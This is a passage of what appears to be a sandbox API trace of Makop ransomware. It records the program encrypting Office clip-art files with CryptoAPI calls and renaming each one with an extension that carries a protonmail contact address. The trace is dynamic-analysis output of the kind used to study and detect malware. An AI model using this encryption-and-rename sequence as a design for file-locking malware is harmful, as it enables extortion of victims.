(in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.752] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf3a0, lpOverlapped=0x0) returned 1 [0117.753] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.753] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.753] SetEndOfFile (hFile=0xf0) returned 1 [0117.760] GetProcessHeap () returned 0x48a0000 [0117.760] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.761] GetProcessHeap () returned 0x48a0000 [0117.761] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.761] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.763] CloseHandle (hObject=0xf0) returned 1 [0117.763] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099192.GIF", cAlternateFileName="")) returned 1 [0117.763] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0117.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.764] GetProcessHeap () returned 0x48a0000 [0117.764] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.764] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.765] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.769] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.769] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.769] GetProcessHeap () returned 0x48a0000 [0117.769] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.769] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.769] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.769] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.769] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.769] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.770] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.770] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.770] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.770] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.770] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x462c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x462c, lpOverlapped=0x0) returned 1 [0117.772] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4630, dwBufLen=0x4630 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4630) returned 1 [0117.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.772] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4630, lpOverlapped=0x0) returned 1 [0117.773] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.773] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.773] SetEndOfFile (hFile=0xf0) returned 1 [0117.779] GetProcessHeap () returned 0x48a0000 [0117.779] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.779] GetProcessHeap () returned 0x48a0000 [0117.780] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.780] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.780] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.781] CloseHandle (hObject=0xf0) returned 1 [0117.781] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x8ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099193.GIF", cAlternateFileName="")) returned 1 [0117.781] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0117.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.782] GetProcessHeap () returned 0x48a0000 [0117.782] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.782] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0117.787] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.787] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.787] GetProcessHeap () returned 0x48a0000 [0117.787] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.787] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.787] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.788] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.788] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.788] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.788] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.788] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.789] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.789] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.789] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.789] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.789] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8ada, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8ada, lpOverlapped=0x0) returned 1 [0117.791] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8ae0, dwBufLen=0x8ae0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8ae0) returned 1 [0117.791] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.791] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8ae0, lpOverlapped=0x0) returned 1 [0117.792] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.792] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.792] SetEndOfFile (hFile=0xf0) returned 1 [0117.800] GetProcessHeap () returned 0x48a0000 [0117.800] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.800] GetProcessHeap () returned 0x48a0000 [0117.800] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.800] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.801] CloseHandle (hObject=0xf0) returned 1 [0117.809] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x62b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099194.GIF", cAlternateFileName="")) returned 1 [0117.809] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0117.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.810] GetProcessHeap () returned 0x48a0000 [0117.810] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.810] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.810] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.811] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0117.818] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.818] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.818] GetProcessHeap () returned 0x48a0000 [0117.818] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.818] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.818] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.818] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.818] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.819] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.819] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.819] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.819] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.819] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.819] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.819] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.820] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x62b1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x62b1, lpOverlapped=0x0) returned 1 [0117.821] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x62c0, dwBufLen=0x62c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x62c0) returned 1 [0117.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.822] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x62c0, lpOverlapped=0x0) returned 1 [0117.822] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.823] SetEndOfFile (hFile=0xf0) returned 1 [0117.830] GetProcessHeap () returned 0x48a0000 [0117.830] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.830] GetProcessHeap () returned 0x48a0000 [0117.830] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.830] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.830] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.832] CloseHandle (hObject=0xf0) returned 1 [0117.832] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099195.GIF", cAlternateFileName="")) returned 1 [0117.832] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0117.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.833] GetProcessHeap () returned 0x48a0000 [0117.833] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.833] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.833] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.833] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0117.837] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.837] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.838] GetProcessHeap () returned 0x48a0000 [0117.838] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.838] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.838] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.838] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.838] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.838] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.838] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.839] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.839] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.839] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.839] 